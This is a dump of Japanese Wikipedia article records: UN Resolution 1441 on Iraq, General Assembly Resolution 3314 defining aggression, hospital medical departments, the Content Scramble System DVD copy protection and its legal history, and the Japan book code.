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|date =[[11月8日]]
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|code =S/RES/1441 (UNSCR1441)
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* [[イラク]]に大量破壊兵器の廃棄を要求
* 大統領施設への査察実施を承認
* 違反は重大な帰結をもたらすと警告
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|caption =
}}
'''国際連合安全保障理事会決議1441'''(こくさいれんごうあんぜんほしょうりじかいけつぎ1441、{{Lang-en-short|'''United Nations Security Council Resolution 1441'''}})は、[[2002年]][[11月8日]]に[[国際連合安全保障理事会]]で採択された[[イラク]]・[[クウェート]]情勢に関する決議。略称は'''UNSCR1441'''。
== 概要 ==
[[国際連合安全保障理事会決議|国連安保理決議]]1441は、[[イラク]]の[[イラク武装解除問題|武装解除]]を求めるもの。イラクが武装解除義務の重大な不履行を続けていると判断し、さらなる情報開示と査察の全面受入れを求めた。イラクは同年[[11月13日]]に受託し、[[11月27日]]には[[1998年]]以来退去していた国連の武器査察団が査察を再開することになった。決議は全会一致で採択された。
== 主な内容 ==
* イラクが武装解除義務の重大な不履行を続けていると判断
* イラクに、[[大量破壊兵器]]および関連計画について全面的かつ完全な申告を30日以内に提出するよう要求
* イラクに、直ちに無制限無条件で国連の査察に協力することを要求
* イラクに、順守の最後の機会を与えたと警告
* 以前の決議([[国際連合安全保障理事会決議1154|決議1154]])で査察の対象外とされていた大統領施設についても査察を認めるよう要求
* イラクの違反が続いた場合、それがイラクに対して重大な帰結をもたらしうるものだと再三警告したことを想起
== 履行 ==
決議の採択後の[[11月11日]]には[[国民議会 (イラク)|国民議会]]でこの国連決議の拒否が採択され、[[サッダーム・フセイン]]大統領に最終決定をゆだねる動議を全会一致で採択した{{sfn|酒井|2004|p=73-74}}<ref name="mofa" />。11月13日にサッダーム・フセイン大統領はこの決議を受け入れることを表明した{{sfn|酒井|2004|p=73-74}}。
11月末には国連査察団のイラク国内立ち入りが行われた。[[国際連合監視検証査察委員会]]の[[ハンス・ブリックス]]委員長と[[国際原子力機関]]の[[モハメド・エルバラダイ]]事務局長が先遣隊としてイラクに入国し、同月25日から査察団が入国、27日から査察が開始された。当初は少人数で行われていたが、12月に入ると85から100人規模に拡大された。しかし査察対象施設は1,000以上あったため、決議で定められた2003年1月27日までの最終報告書の提出は不可能であった{{sfn|酒井|2004|p=77}}{{Refnest|group="注釈"|決議では査察開始から60日後に最終報告を提出することが定められていた{{sfn|酒井|2004|p=79}}。}}
12月7日には決議に基づいてイラク政府が大量破壊兵器に関する申告書を提出したが、この申告書は1万3,000ページにのぼった。アメリカ合衆国のパウエル国務長官は即座にこれをイラク側の時間稼ぎだと批判し、その2週間後である12月19日には、生物兵器や化学兵器の申告がないとして決議で示された「重大な違反」であるとした{{sfn|石生|2012|p=73}}{{sfn|酒井|2004|p=78}}。この翌日にブリックス委員長は、申告書には新しい情報が記載されていないとしてイラク政府を批判したものの「重大な違反」であるとの認識は示さなかった{{sfn|酒井|2004|p=78}}。
12月27日にはイラク人科学者へのインタビューが開始された。翌28日にはイラク政府より500人以上にのぼる大量破壊兵器関連の科学者・技術者リストが提出された{{sfn|酒井|2004|p=78}}。
2003年1月9日には査察団による安全保障理事会への中間報告が行われた。この中でブリックス委員長は、イラク政府が提出した申告書の内容が不満であるとしながらもイラクが大量破壊兵器を保有しているという確証を得られなかったとした{{sfn|酒井|2004|p=79}}。
最終報告書の提出期限である1月27日が迫るなか、1月15日には空の化学兵器弾頭11基が発見され、その4日後にはさらに4基が発見された{{Refnest|group="注釈"|これらについて、イラク政府は「古く期限切れのものであり、すでに申告済みである」とした{{sfn|酒井|2004|p=79}}。}}。国際連合監視検証査察委員会の設置が定められた[[国際連合安全保障理事会決議1284]]では国際連合監視検証査察委員会の活動は120日とされており、これに従えば3月末までは査察活動を行うことが出来たが、アメリカは新しい決議である1441に従うのは当然であるとして1月27日までの最終報告を主張した。これにはフランスやロシア、ドイツが抵抗したが、最終報告は1月27日に安全保障理事会に提出された{{sfn|酒井|2004|p=80-81}}。
しかし、査察団は最終報告後もイラク国内で査察を行っていた。2月10日にはフランス、ロシア、ドイツは査察継続を求める共同宣言を行い、これを受けて査察団は2月14日に追加報告を国連で行った。この報告後、安全保障理事会では理事国の演説が行われ、アメリカ、イギリス、スペイン以外のすべての理事国が査察の継続を主張した{{sfn|酒井|2004|p=82}}。
3月7日には査察団による再追加報告が行われ、査察継続が求められたが、3月17日、アメリカは外交交渉の打ち切りを宣言し、同日夜にはイラクに対して軍事攻撃を開始する旨の最後通告を行ったため、査察団はイラク国外に退去した{{sfn|酒井|2004|p=87}}。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Notelist}}
=== 出典 ===
{{Reflist|refs=
<ref name="mofa">{{Cite web|和書
|title = イラクを巡る情勢の経緯(2003年5月1日まで)
|url = https://www.mofa.go.jp/mofaj/area/iraq/98/kei.html
|date = 2003-10
|publisher = [[外務省|日本国外務省]]
|accessdate = 2021-08-15
}}</ref>
}}
== 参考文献 ==
* {{Cite journal|和書|author=石生義人|title=イラク戦争支持の決定要因|journal=選挙研究|volume=28|issue=1|pages=72-87|year=2012|doi=10.14854/jaes.28.1_72|url=https://www.jstage.jst.go.jp/article/jaes/28/1/28_72/_pdf/-char/ja|format=PDF|ref={{SfnRef|石生|2012}}}}
* {{Cite book|和書|author=酒井啓子|title=イラク 戦争と占領|series=[[岩波新書]]|publisher=[[岩波書店]]|year=2004|isbn=4-00-430871-2|ref={{SfnRef|酒井|2004}}}}
== 関連項目 ==
*[[国際連合安全保障理事会決議1154]]
*[[国際連合安全保障理事会決議1284]]
*[[イラク武装解除問題]]
*[[イラクにおける人道復興支援活動及び安全確保支援活動の実施に関する特別措置法]] - [[自衛隊イラク派遣]]
== 外部リンク ==
*[https://www.un.org/Depts/unmovic/documents/1441.pdf 決議全文]{{en icon}} - 国際連合
*[https://press.un.org/en/2002/SC7564.doc.htm 条文プレスリリース]{{en icon}} - 国連安全保障理事会
*{{Archive.today|url=http://homepage2.nifty.com/mekkie/peace/iraq/news/023.html |title=決議仮訳|date=20130427105038}}{{ja icon}} - 「爆弾はいらない 子供たちに明日を」内、『[[しんぶん赤旗]]』2002年11月10日付掲載分の転載
*[http://japan.usembassy.gov/j/p/tpj-j20030331d1.html ファクトシート:国連安保理決議に対するサダム・フセインの抵抗] - 駐日米国大使館
{{UNSCR 2002}}
{{DEFAULTSORT:こくさいれんこうあんせんほしようりしかいけつき1441}}
[[Category:2002年の国際連合安全保障理事会決議|1441]]
[[Category:イラク関連の国際連合安全保障理事会決議|1441]]
[[Category:2002年のイラク]]
[[Category:2002年11月]]
[[Category:イラクの大量破壊兵器]] | 2003-04-16T12:31:40Z | 2023-12-23T09:11:01Z | false | false | false | [
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"Template:Reflist"
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| https://ja.wikipedia.org/wiki/%E5%9B%BD%E9%9A%9B%E9%80%A3%E5%90%88%E5%AE%89%E5%85%A8%E4%BF%9D%E9%9A%9C%E7%90%86%E4%BA%8B%E4%BC%9A%E6%B1%BA%E8%AD%B01441 |
6,812 | 侵略の定義に関する決議 | 侵略の定義に関する決議(しんりゃくのていぎにかんするけつぎ、国連総会決議3314、英語:United Nations General Assembly Resolution 3314 on the Definition of Aggression)は、1974年12月14日に国際連合総会の第29回総会で採択された侵略の定義に関する決議。略称は、UNGA Res.3314。
侵略の定義に関する決議はその第1条で侵略を「国家による他の国家の主権、領土保全若しくは政治的独立に対する、又は国際連合の憲章と両立しないその他の方法による武力の行使であって、この定義に述べられているものをいう」と定義している 。この定義について、最も掘り下げた議論を行った国際刑事裁判所締約国会議の侵略犯罪に関する特別作業部会では、侵略の定義に関する決議の第1条及び第3条(侵略行為の定義)を参照して適用する案についてその運用段階の議論が行われた。しかし、侵略の定義に関する決議は国際連合安全保障理事会が侵略の事実の有無を認定する際の指針という性質を持つため、公開協議の場では侵略の定義に関する決議を直接参照することについては慎重論が根強く、日本政府も同様の懸念を表明した(→日本の見解)。
2010年6月11日、カンパラで開かれたローマ規程再検討会議において、侵略の定義に関する決議の内容に一致した定義に規程独自の定義を付加し、管轄権行使の諸要件と手続きをも含めた改正条項を採用する決議(RC/Res.6)が参加国111カ国のコンセンサスにより採択された 。この時、日本政府は投票には参加しなかったものの、コンセンサスを妨げることはなかった 。但し、同改正は2012年5月14日現在、発効していない(→侵略犯罪)。
侵略とは、国家による他の国家の主権、領土保全若しくは政治的独立に対する、又は国際連合の憲章と両立しないその他の方法による武力の行使であって、この定義に述べられているものをいう。
国家による国際連合憲章に違反する武力の最初の使用は、侵略行為の一応の証拠を構成する。ただし、安全保障理事会は、国際連合憲章に従い、侵略行為が行われたとの決定が他の関連状況(当該行為又はその結果が十分な重大性を有するものではないという事実を含む。)に照らして正当に評価されないとの結論を下すことができる。
次に掲げる行為は、いずれも宣戦布告の有無に関わりなく、二条の規定に従うことを条件として、侵略行為とされる。
(a) 一国の軍隊による他国の領域に対する侵入若しくは、攻撃、一時的なものであってもかかる侵入若しくは攻撃の結果もたらせられる軍事占領、又は武力の行使による他国の全部若しくは一部の併合
(b) 一国の軍隊による他国の領域に対する砲爆撃、又は国に一国による他国の領域に対する兵器の使用
(c) 一国の軍隊による他国の港又は沿岸の封鎖
(d) 一国の軍隊による他国の陸軍、海軍若しくは空軍又は船隊若しくは航空隊に関する攻撃
(e) 受入国との合意にもとづきその国の領域内にある軍隊の当該合意において定められている条件に反する使用、又は、当該合意の終了後のかかる領域内における当該軍隊の駐留の継続
(f) 他国の使用に供した領域を、当該他国が第三国に対する侵略行為を行うために使用することを許容する国家の行為
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| 侵略の定義に関する決議は、1974年12月14日に国際連合総会の第29回総会で採択された侵略の定義に関する決議。略称は、UNGA Res.3314。 | {{Infobox UN resolution
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'''侵略の定義に関する決議'''(しんりゃくのていぎにかんするけつぎ、国連総会決議3314、[[英語]]:United Nations General Assembly Resolution 3314 on the Definition of Aggression)は、[[1974年]][[12月14日]]に[[国際連合総会]]の第29回総会で採択された[[侵略]]の定義に関する[[国際連合総会決議|決議]]。略称は、'''UNGA Res.3314'''。
== 概要 ==
侵略の定義に関する決議はその第1条で侵略を「国家による他の国家の主権、領土保全若しくは政治的独立に対する、又は国際連合の憲章と両立しないその他の方法による武力の行使であって、この定義に述べられているものをいう」と定義している<ref>{{Cite web|和書
|publisher = ミネソタ大学人権図書館
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|title = 侵略の定義に関する決議
|accessdate = 2013-04-25}}
</ref>
。この定義について、最も掘り下げた議論を行った[[国際刑事裁判所]][[国際刑事裁判所の設立に関する最終合意書#締約国会議|締約国会議]]の[[侵略犯罪に関する特別作業部会]]では、侵略の定義に関する決議の第1条及び第3条(侵略行為の定義)を参照して適用する案についてその運用段階の議論が行われた。しかし、侵略の定義に関する決議は[[国際連合安全保障理事会]]が侵略の事実の有無を認定する際の指針という性質を持つため、公開協議の場では侵略の定義に関する決議を直接参照することについては慎重論が根強く、日本政府も同様の懸念を表明した(→[[侵略犯罪に関する特別作業部会#日本の見解|日本の見解]])。
[[2010年]][[6月11日]]、[[カンパラ]]で開かれた[[ローマ規程]]再検討会議において、侵略の定義に関する決議の内容に一致した定義に規程独自の定義を付加し、[[管轄権]]行使の諸要件と手続きをも含めた改正条項を採用する決議(RC/Res.6)が参加国111カ国の[[コンセンサス]]により採択された<ref>{{cite web
|publisher = Parliamentarians for Global Action
|url = https://web.archive.org/web/20140225041854/http://blogs.yahoo.co.jp/jnicc_org_tk05/61419657.html
|format = html
|title = 【資料】(英文)ICC締約国会議カンパラ再検討会合に関するPGAの総括
|date = 2012-06-20
|accessdate = 2013-04-25}}
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。この時、日本政府は投票には参加しなかったものの、コンセンサスを妨げることはなかった<ref>{{Cite web|和書
|publisher=外務省国際法局
|title=Statement of Government of Japan Delivered by Special」 Envoy of the Government of Japan, H. E. Mr. Ichiro Komatsu before Adoption of the Resolution of an Amendment to the Statute in the Review Conference of the Rome Statute of the International Criminal Court (ICC) (11 June 2010, Kampala)(小松政府代表による投票理由説明その1)
|date = 2010-06-11
|url = https://www.mofa.go.jp/policy/i_crime/icc/pdfs/before_adoption_1006.pdf
|format = pdf
|accessdate = 2012-05-14}}
</ref>
。但し、同改正は[[2012年]][[5月14日]]現在、発効していない(→[[侵略犯罪]])。
== 主な条文 ==
=== 第1条 ===
; (侵略の定義)
侵略とは、国家による他の国家の主権、領土保全若しくは政治的独立に対する、又は国際連合の憲章と両立しないその他の方法による武力の行使であって、この定義に述べられているものをいう。
=== 第2条 ===
; (武力の最初の使用)
国家による国際連合憲章に違反する武力の最初の使用は、侵略行為の一応の証拠を構成する。ただし、安全保障理事会は、国際連合憲章に従い、侵略行為が行われたとの決定が他の関連状況(当該行為又はその結果が十分な重大性を有するものではないという事実を含む。)に照らして正当に評価されないとの結論を下すことができる。
=== 第3条 ===
; (侵略行為)
次に掲げる行為は、いずれも宣戦布告の有無に関わりなく、二条の規定に従うことを条件として、侵略行為とされる。
(a) 一国の軍隊による他国の領域に対する侵入若しくは、攻撃、一時的なものであってもかかる侵入若しくは攻撃の結果もたらせられる軍事占領、又は武力の行使による他国の全部若しくは一部の併合
(b) 一国の軍隊による他国の領域に対する砲爆撃、又は国に一国による他国の領域に対する兵器の使用
(c) 一国の軍隊による他国の港又は沿岸の封鎖
(d) 一国の軍隊による他国の陸軍、海軍若しくは空軍又は船隊若しくは航空隊に関する攻撃
(e) 受入国との合意にもとづきその国の領域内にある軍隊の当該合意において定められている条件に反する使用、又は、当該合意の終了後のかかる領域内における当該軍隊の駐留の継続
(f) 他国の使用に供した領域を、当該他国が第三国に対する侵略行為を行うために使用することを許容する国家の行為
(g) 上記の諸行為に相当する重大性を有する武力行為を他国に対して実行する武装した集団、団体、不正規兵又は傭兵の国家による若しくは国家のための派遣、又はかかる行為に対する国家の実質的関与
== 関連項目 ==
* [[侵略]]
* [[侵略犯罪]]
* [[侵略犯罪に関する特別作業部会]]
* [[平和に対する罪]]
* [[国際連合決議]]
== 脚注 ==
{{Reflist}}
== 外部リンク ==
* [http://daccess-dds-ny.un.org/doc/RESOLUTION/GEN/NR0/739/16/IMG/NR073916.pdf?OpenElement 原文]
* [http://www1.umn.edu/humanrts/japanese/JGAres3314.html 侵略の定義に関する決議], [http://www1.umn.edu/humanrts/japanese/JGAres3314.html Definition of Aggression] - ミネソタ大学人権図書館
* [https://www.mofa.go.jp/mofaj/gaiko/icc/rome_kitei1006.html 国際刑事裁判所(ICC)ローマ規程検討会議(結果の概要)平成22年6月11日] - 外務省
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[[Category:国際連合総会決議]]
[[Category:1974年の国際連合]]
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[[Category:侵略犯罪]]
[[カテゴリ:諸定義]]
[[Category:1974年12月]] | 2003-04-16T12:32:12Z | 2023-11-13T02:01:39Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E4%BE%B5%E7%95%A5%E3%81%AE%E5%AE%9A%E7%BE%A9%E3%81%AB%E9%96%A2%E3%81%99%E3%82%8B%E6%B1%BA%E8%AD%B0 |
6,814 | 診療科 | 診療科()とは、病院や診療所などにおける医療においての診療の専門分野区分のこと。
日本において外部に広告できる診療科名は、医療法によって標榜科として規定されている。
旧来のような「第一内科」や「第二外科」等というような診療科名は減りつつあり、最近では医療技術の進歩による外科と内科の統合等や、診療科の枠を超えた統合が進み「循環器センター」や「生殖医療センター」等の臓器別や疾患別の診療区分が一般的となってきている。
本項は特記しない限り日本における診療科について記述する。
※あくまで一例であり、分類方法は各病院ごとの方針で多種多様になっている
※あくまで一例であり、分類方法は各病院ごとの方針で多種多様になっている。 | [
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| 診療科とは、病院や診療所などにおける医療においての診療の専門分野区分のこと。 日本において外部に広告できる診療科名は、医療法によって標榜科として規定されている。 旧来のような「第一内科」や「第二外科」等というような診療科名は減りつつあり、最近では医療技術の進歩による外科と内科の統合等や、診療科の枠を超えた統合が進み「循環器センター」や「生殖医療センター」等の臓器別や疾患別の診療区分が一般的となってきている。 本項は特記しない限り日本における診療科について記述する。 | {{出典の明記|date=2014-10-10}}
{{読み仮名|'''診療科'''|しんりょうか}}とは、[[病院]]や[[診療所]]などにおける[[医療]]においての[[診療]]の専門分野区分のこと。
[[日本]]において外部に[[広告]]できる診療科名は、[[医療法]]によって[[標榜科]]として規定されている。
旧来のような「第一内科」や「第二外科」等というような診療科名は減りつつあり、最近では医療技術の進歩による外科と内科の統合等や、診療科の枠を超えた統合が進み「循環器センター」や「生殖医療センター」等の[[臓器]]別や[[疾患]]別の診療区分が一般的となってきている。
本項は特記しない限り日本における診療科について記述する。
== 医療 ==
=== 旧来の診療科分類 ===
* [[内科学|内科]]
** [[消化器学|消化器科]] - [[循環器学|循環器科]] - [[呼吸器学|呼吸器科]] - [[腎臓学|腎臓科]] - [[内分泌学|内分泌科]] - [[糖尿病]]科 - [[膠原病]]科- [[リウマチ学|リウマチ科]] - [[アレルギー]]科 - [[血液学|血液内科]] - [[神経学|神経内科]] - [[心身医学|心療内科]] - [[感染症学|感染症科]] - [[腫瘍学|腫瘍科]]
* [[外科学|外科]]
** [[一般外科学|一般外科]]([[消化器外科学|消化器外科]]) - [[胸部外科学|胸部外科]]([[呼吸器外科学|呼吸器外科]]・[[心臓血管外科学|心臓血管外科]])- [[乳腺]]外科 - [[甲状腺]]外科 - [[小児外科学|小児外科]] - [[肛門学|肛門科]]
* [[整形外科学|整形外科]]
* [[形成外科学|形成外科]]
* [[脳神経外科学|脳神経外科]]
* [[小児科学|小児科]]
* [[産婦人科学|産婦人科]]
** [[婦人科学|婦人科]]
** [[産科学|産科]]
* [[皮膚科学|皮膚科]]
* [[泌尿器科学|泌尿器科]](欧米では、現在でも外科の一分野として扱われることが多い)
* [[眼科学|眼科]]
* [[耳鼻咽喉科学|耳鼻咽喉科]]
* [[リハビリテーション|リハビリテーション科]]
* [[放射線医学|放射線科]]
* [[精神医学|精神科]]
* [[麻酔科学|麻酔科]]
* [[臨床検査|臨床検査科]]
* [[病理診断学|病理診断科]]
* :(注):麻酔科は許可を得た医師のみ認められる科名([[医療法]]第70条2項及び医療法施行規則第42条の4に基づく)
=== 最近の診療科区分 ===
※あくまで一例であり、分類方法は各病院ごとの方針で多種多様になっている
* '''総合診療センター'''
** 内科([[一般内科]]・総合内科・[[総合診療科]]・総合診療内科)
** 外科(一般外科・[[移植_(医療)|臓器移植]]再建外科)
* '''[[救命救急センター]]([[救急救命室|ER]])'''
** [[外傷センター]]
** [[熱傷]]センター
* '''消化器センター''' '''(消化器病センター)'''
** 消化器内科(消化管内科・胃腸科・肝臓科・胆膵科・肝胆膵内科・[[内視鏡]]科)
** 消化器外科(腹部外科・肛門科)(上部【食道・胃】消化管外科・下部【大腸・肛門】消化管外科・肝胆膵脾外科)
* '''循環器センター''' '''(循環器病センター)(心臓病センター)(ハートセンター)'''
** 循環器内科(心臓内科)
** 心臓血管外科(胸部外科)(循環器外科・[[心臓外科学|心臓外科]]・[[血管外科学|血管外科]])
* '''呼吸器センター''' '''(呼吸器病センター)'''
** 呼吸器内科
** 呼吸器外科(胸部外科)
* '''脳神経センター''' '''(脳卒中センター)'''
** 脳神経内科 (神経内科)
** 脳神経外科 (脳外科・神経外科・頭蓋底外科)
* '''腎・泌尿器センター''' '''(腎臓病センター)([[人工透析|透析]]センター)'''
** 腎臓内科 (腎臓・[[高血圧]]内科)(腎臓・[[代謝]]内科)
** 泌尿器科(泌尿器・[[生殖器]]・腎臓外科)
** 腎臓外科
** [[人工透析|人工透析科]]
** 血液浄化療法科
** 腎臓・[[尿路結石|尿管結石]]破砕治療科
* '''代謝・[[内分泌学|内分泌]]センター''' '''([[糖尿病]]センター)'''
** 糖尿病内科
** 内分泌・代謝内科
** 甲状腺外科(内分泌外科)
** ※乳腺・内分泌(甲状腺)外科
* '''膠原病・リウマチ・アレルギーセンター''' '''([[難病]]治療センター)'''
** 膠原病内科
** リウマチ科
** アレルギー科(免疫内科)
** 感染症内科
* '''がん総合診療センター'''('''血液・腫瘍科''')
** 腫瘍内科
** 血液内科
** 放射線科
** [[緩和医療|緩和医療科]]([[ホスピス]])
** 麻酔科([[ペインクリニック]])
* '''[[感染制御学|感染症コントロール]]センター'''
** 感染症内科
** 性病科
* '''女性総合診療センター(ウィメンズクリニック)'''
** 婦人科 (女性診療科)(婦人外科)
** 乳腺外科(胸部外科)
** 性病科(泌尿器科)
* '''生殖器医療センター'''
** 婦人科
** 男性科(泌尿器科・性病科)
* '''[[周産期母子医療センター|周産期センター]]''' '''(母子周産期医療センター)'''
** 産科(母子・周産期科・胎児診療科)
** [[新生児学|新生児科]]
* '''小児医療センター'''
** 小児科(新生児内科・小児内科・[[思春期]]内科・小児循環器科)
** 小児外科(新生児外科)
** 小児心臓外科(小児心臓血管外科)
** 小児脳神経外科
* '''[[高齢者]]医療センター'''
** 老年科([[老年医学|老年病科]]・老年内科・高齢者診療科)
* '''精神神経センター''' '''([[メンタルヘルス]]センター)'''
** 精神科([[神経科]])(精神神経科)
** 心療内科(心身医療科)
** もの忘れ外来
* '''眼科'''
** 視覚矯正科
* '''耳鼻咽喉科'''
** 神経耳科
** 眩暈平衡神経科
** 気管食道科
** 頭頚部外科
** 音声外科
** 頭蓋底外科
* '''皮膚科'''
** 美容皮膚科
* '''形成外科'''('''[[美容外科学|美容外科]]''')・('''再建外科''')
* '''リハビリテーションセンター'''
* [[理学療法]]科
* [[作業療法]]科
* [[言語聴覚療法|言語療法]]科
* '''整形外科'''
** スポーツ整形外科
** 脊椎・脊髄外科
** リウマチ科
* '''放射線科'''
** [[放射線診断学|放射線画像診断科]]
** [[放射線療法|放射線治療科]]
** [[シンチグラフィ|放射線核医学科]]
** 血管内・低侵襲治療センター
* '''臨床検査科'''
** [[超音波検査|超音波画像診断科]]
* '''病理診断科'''・'''(病理外来)'''
** 病理検査科
** 病理科
** 臨床病理科
* '''麻酔科''' '''※疼痛・緩和医療科''' '''([[ペインクリニック]])'''
: '''(注):麻酔科は[[厚生労働大臣]]の許可を得た医師に限り認められる診療科名([[医療法]]第6条の6第1項及び医療法施行規則第1条の10に基づく) '''
* '''和漢診療科([[東洋医学]]・[[漢方医学]])'''
== 歯科医療 ==
=== 旧来の診療科 ===
* [[歯科]]
* [[矯正歯科]]
* [[小児歯科]]
* [[口腔外科|歯科口腔外科]](しかこうくうげか)
=== 最近の診療科目 ===
※あくまで一例であり、分類方法は各病院ごとの方針で多種多様になっている。
* 口腔診断科
* [[保存科]]
* [[補綴科]](ほてつ)
* クラウン・ブリッジ科
* 有床義歯科
* 顎顔面補綴科
* [[審美歯科]]
* [[インプラント]]科
* [[顎関節]]科
* [[歯科麻酔学|歯科麻酔科]]
* [[歯科放射線学|歯科放射線科]]
* 歯内療法科
* 歯周病科
* 高齢者歯科
* デジタル歯科
* 訪問歯科
== 外部リンク ==
* {{PDFlink|[https://www.mhlw.go.jp/shingi/2007/06/dl/s0611-5b.pdf 標榜診療科の現状と経緯について]}}(厚生労働省)
{{DEFAULTSORT:しんりようか}}
[[Category:診療科]]
[[Category:臨床医学]]
[[Category:医学の分野|*]] | null | 2022-08-23T11:57:33Z | false | false | false | [
"Template:出典の明記",
"Template:読み仮名",
"Template:PDFlink"
]
| https://ja.wikipedia.org/wiki/%E8%A8%BA%E7%99%82%E7%A7%91 |
6,815 | Content Scramble System | Content Scramble System(またはContent Scrambling System、公式ページにも両方の表記が混在している)とは、松下電器産業(当時)などが開発したDVD-Videoのコピーガードである。マクロビジョンなどとあわせて使われている。40ビット長の暗号キーにより暗号化される。
1996年にコピー防止のために取り入れられたが、リアルネットワークスの子会社によるDVD-Video再生ソフトに解除キーが暗号化されないままで埋め込まれていたことがきっかけとなり、1999年当時16歳だったノルウェーの少年ヨン・レック・ヨハンセンによりDeCSSが開発(作者は提訴されたが、その後の裁判で完全無罪になっている)され、Linux での DVD再生が可能となった。 現状ではリッピング(コピー)ソフト(例:AnyDVDなど)がインターネットやパソコンショップに広く出回っており、抑止力は期待できない。
CSSはコピーコントロール技術ではなくアクセスコントロール技術であるとして(アクセスコントロール技術は不正競争防止法の管轄であり回避策の頒布は違法であるが使用は合法である)、日本においては私的複製でのDVDバックアップは、著作権法の解釈から合法との見解もあった。そのため、2012年6月20日に、DVDなどに用いられる「CSS」などの暗号型技術を、著作権法上の対象となる「技術的保護手段」に追加するDVDのリッピングの違法化を盛り込んだ著作権改正法案が可決されている。これに伴い、CSS等の保護技術を回避してのDVDのリッピングは私的複製の対象外となり違法行為となる(ただし、CSS等の保護技術が使われていないDVDのリッピングについては、改正後も従来と変わりはない)。CSSを回避するプログラム・装置を提供することについても規制され、刑罰の対象となる。
また今後模倣品・海賊版拡散防止条約(ACTA)締結によりアメリカ合衆国のデジタルミレニアム著作権法(DMCA)に相当する規制が行われる可能性もある。
DVD-Audioでは、別の技術(CPPMなど)が使われている。
現在は、DVD Copy Control Association(英語版) がライセンスを行っている。 | [
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| Content Scramble Systemとは、松下電器産業(当時)などが開発したDVD-Videoのコピーガードである。マクロビジョンなどとあわせて使われている。40ビット長の暗号キーにより暗号化される。 1996年にコピー防止のために取り入れられたが、リアルネットワークスの子会社によるDVD-Video再生ソフトに解除キーが暗号化されないままで埋め込まれていたことがきっかけとなり、1999年当時16歳だったノルウェーの少年ヨン・レック・ヨハンセンによりDeCSSが開発(作者は提訴されたが、その後の裁判で完全無罪になっている)され、Linux での DVD再生が可能となった。
現状ではリッピング(コピー)ソフトがインターネットやパソコンショップに広く出回っており、抑止力は期待できない。 CSSはコピーコントロール技術ではなくアクセスコントロール技術であるとして(アクセスコントロール技術は不正競争防止法の管轄であり回避策の頒布は違法であるが使用は合法である)、日本においては私的複製でのDVDバックアップは、著作権法の解釈から合法との見解もあった。そのため、2012年6月20日に、DVDなどに用いられる「CSS」などの暗号型技術を、著作権法上の対象となる「技術的保護手段」に追加するDVDのリッピングの違法化を盛り込んだ著作権改正法案が可決されている。これに伴い、CSS等の保護技術を回避してのDVDのリッピングは私的複製の対象外となり違法行為となる(ただし、CSS等の保護技術が使われていないDVDのリッピングについては、改正後も従来と変わりはない)。CSSを回避するプログラム・装置を提供することについても規制され、刑罰の対象となる。 また今後模倣品・海賊版拡散防止条約(ACTA)締結によりアメリカ合衆国のデジタルミレニアム著作権法(DMCA)に相当する規制が行われる可能性もある。 DVD-Audioでは、別の技術(CPPMなど)が使われている。 現在は、DVD Copy Control Association がライセンスを行っている。 | {{出典の明記|date=2014年3月}}
{{Lang|en|'''Content Scramble System'''}}(または{{Lang|en|'''Content Scrambling System'''}}、公式ページにも両方の表記が混在している)とは、[[パナソニック|松下電器産業]](当時)などが開発した[[DVD-Video]]の[[コピーガード]]である。[[マクロビジョン]]などとあわせて使われている。40[[ビット]]長の[[鍵 (暗号)|暗号キー]]により[[暗号化]]される。
[[1996年]]にコピー防止のために取り入れられたが、[[リアルネットワークス]]の子会社によるDVD-Video再生ソフトに解除キーが暗号化されないままで埋め込まれていたことがきっかけとなり、[[1999年]]当時16歳だった[[ノルウェー]]の少年[[ヨン・レック・ヨハンセン]]により[[DeCSS]]が開発(作者は提訴されたが、その後の裁判で完全無罪になっている)され、[[Linux]] での DVD再生が可能となった。
現状では[[リッピング]](コピー)ソフト(例:[[AnyDVD]]など)が[[インターネット]]や[[パソコンショップ]]に広く出回っており、抑止力は期待できない。
CSSは[[コピーコントロール]]技術ではなく[[アクセスコントロール]]技術であるとして(アクセスコントロール技術は[[不正競争防止法]]の管轄であり回避策の頒布は違法であるが使用は合法である)、日本においては私的複製でのDVDバックアップは、[[著作権法]]の解釈から合法との見解もあった。そのため、[[2012年]][[6月20日]]に、DVDなどに用いられる「CSS」などの暗号型技術を、著作権法上の対象となる「技術的保護手段」に追加するDVDのリッピングの違法化を盛り込んだ著作権改正法案が可決されている。これに伴い、CSS等の保護技術を回避してのDVDのリッピングは私的複製の対象外となり違法行為となる(ただし、CSS等の保護技術が使われていないDVDのリッピングについては、改正後も従来と変わりはない)。CSSを回避するプログラム・装置を提供することについても規制され、刑罰の対象となる。
また今後[[模倣品・海賊版拡散防止条約]](ACTA)締結により[[アメリカ合衆国]]の[[デジタルミレニアム著作権法]](DMCA)に相当する規制が行われる可能性もある。
[[DVD-Audio]]では、別の技術([[コピーガード#CPPM(Content_Protection_for_Prerecorded_Media)|CPPM]]など)が使われている。
現在は、{{仮リンク|DVD Copy Control Association|en|DVD Copy Control Association}} がライセンスを行っている。
== 関連項目 ==
*[[DeCSS]] - [[違法素数]]
*[[CSS Managed Recording]] (CSS-MR)
*{{仮リンク|ARccOS|en|ARccOS Protection}}
*[[Advanced Access Content System]]
*[[Qrpff]]
== 外部リンク ==
* [http://www.dvdcca.org/css/ DVD CCA: CSS]
* [http://xtc.bz/article/click2003-10dvd.html 音楽配信メモ - なんでDVDコピーは「違法」なの!?(日経クリック 2003年10月号)]
{{デフォルトソート:こんてんとすくらんふるしすてむ}}
[[Category:著作権管理技術]]
[[Category:DVD]]
{{Law-stub}}
{{Computer-stub}} | 2003-04-16T13:08:29Z | 2023-09-04T11:43:33Z | false | false | false | [
"Template:Lang",
"Template:仮リンク",
"Template:Law-stub",
"Template:Computer-stub",
"Template:出典の明記"
]
| https://ja.wikipedia.org/wiki/Content_Scramble_System |
6,816 | 日本図書コード | 日本図書コード(にほんとしょコード)は、ISBNに、読者対象・発行形態・内容分類を表すCコードと本体価格を加えたコードで、日本で1981年(昭和56年)から徐々に導入され、図書の裏表紙などに表示されている。
日本図書コードを JANコードの体系に組み入れた書籍JANコードが1990年3月(平成2年)に制定されており、2段のバーコードで表示され、書店などの出版流通で使用されている。「978」から始まる1段目がISBN用で、2段目はCコードなどを表示する。これらのコードの表示は強制ではなく、登録費用もかかるが、日本の商業出版の新刊ではほぼ全て表示されている。なお、ISBN導入前は、日本書籍出版協会と日本出版取次協会によって、1970年に制定された日本独自の「書籍コード」が使用されていたが、1983年に廃止された。
